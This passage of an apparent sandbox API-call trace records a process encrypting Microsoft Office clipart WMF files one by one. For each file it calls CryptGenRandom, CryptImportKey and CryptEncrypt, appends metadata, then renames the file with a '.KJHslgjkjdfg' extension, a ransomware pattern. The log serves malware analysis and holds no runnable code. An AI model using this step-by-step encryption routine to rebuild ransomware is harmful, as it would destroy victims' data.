ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1 [0203.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.414] GetProcessHeap () returned 0x2ef0000 [0203.414] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.414] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.415] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.417] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.417] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.417] GetProcessHeap () returned 0x2ef0000 [0203.417] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.417] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.417] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.417] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.418] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.418] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.418] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.418] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.418] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.418] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.418] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x834, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x834, lpOverlapped=0x0) returned 1 [0203.418] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x840, dwBufLen=0x840 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x840) returned 1 [0203.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.418] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x840, lpOverlapped=0x0) returned 1 [0203.419] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.419] SetEndOfFile (hFile=0x130) returned 1 [0203.421] GetProcessHeap () returned 0x2ef0000 [0203.421] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.421] GetProcessHeap () returned 0x2ef0000 [0203.421] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.kjhslgjkjdfg")) returned 1 [0203.423] CloseHandle (hObject=0x130) returned 1 [0203.424] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1 [0203.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.425] GetProcessHeap () returned 0x2ef0000 [0203.425] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.425] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.425] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.428] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.428] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.428] GetProcessHeap () returned 0x2ef0000 [0203.428] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.428] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.428] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.428] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.428] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.429] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.429] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.429] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15f4, lpOverlapped=0x0) returned 1 [0203.430] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600, dwBufLen=0x1600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600) returned 1 [0203.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.430] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1600, lpOverlapped=0x0) returned 1 [0203.430] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.430] SetEndOfFile (hFile=0x130) returned 1 [0203.433] GetProcessHeap () returned 0x2ef0000 [0203.433] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.434] GetProcessHeap () returned 0x2ef0000 [0203.434] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.kjhslgjkjdfg")) returned 1 [0203.435] CloseHandle (hObject=0x130) returned 1 [0203.435] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1 [0203.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.436] GetProcessHeap () returned 0x2ef0000 [0203.436] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.436] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.437] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.437] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.437] GetProcessHeap () returned 0x2ef0000 [0203.437] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.437] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.437] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.437] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.439] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.440] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.440] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.440] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.440] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.440] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.440] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd90, lpOverlapped=0x0) returned 1 [0203.440] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd90, dwBufLen=0xd90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd90) returned 1 [0203.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.440] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd90, lpOverlapped=0x0) returned 1 [0203.440] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.441] SetEndOfFile (hFile=0x130) returned 1 [0203.443] GetProcessHeap () returned 0x2ef0000 [0203.443] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.443] GetProcessHeap () returned 0x2ef0000 [0203.443] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.kjhslgjkjdfg")) returned 1 [0203.445] CloseHandle (hObject=0x130) returned 1 [0203.445] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1 [0203.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.446] GetProcessHeap () returned 0x2ef0000 [0203.446] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.446] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.447] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.452] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.452] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.452] GetProcessHeap () returned 0x2ef0000 [0203.452] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.452] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.452] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.452] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.452] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.452] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.452] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.452] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.452] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.453] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.453] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1388, lpOverlapped=0x0) returned 1 [0203.454] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390, dwBufLen=0x1390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390) returned 1 [0203.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.454] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1390, lpOverlapped=0x0) returned 1 [0203.454] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.454] SetEndOfFile (hFile=0x130) returned 1 [0203.457] GetProcessHeap () returned 0x2ef0000 [0203.457] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.457] GetProcessHeap () returned 0x2ef0000 [0203.457] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.kjhslgjkjdfg")) returned 1 [0203.459] CloseHandle (hObject=0x130) returned 1 [0203.459] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1 [0203.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.460] GetProcessHeap () returned 0x2ef0000 [0203.460] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.461] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.461] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.463] 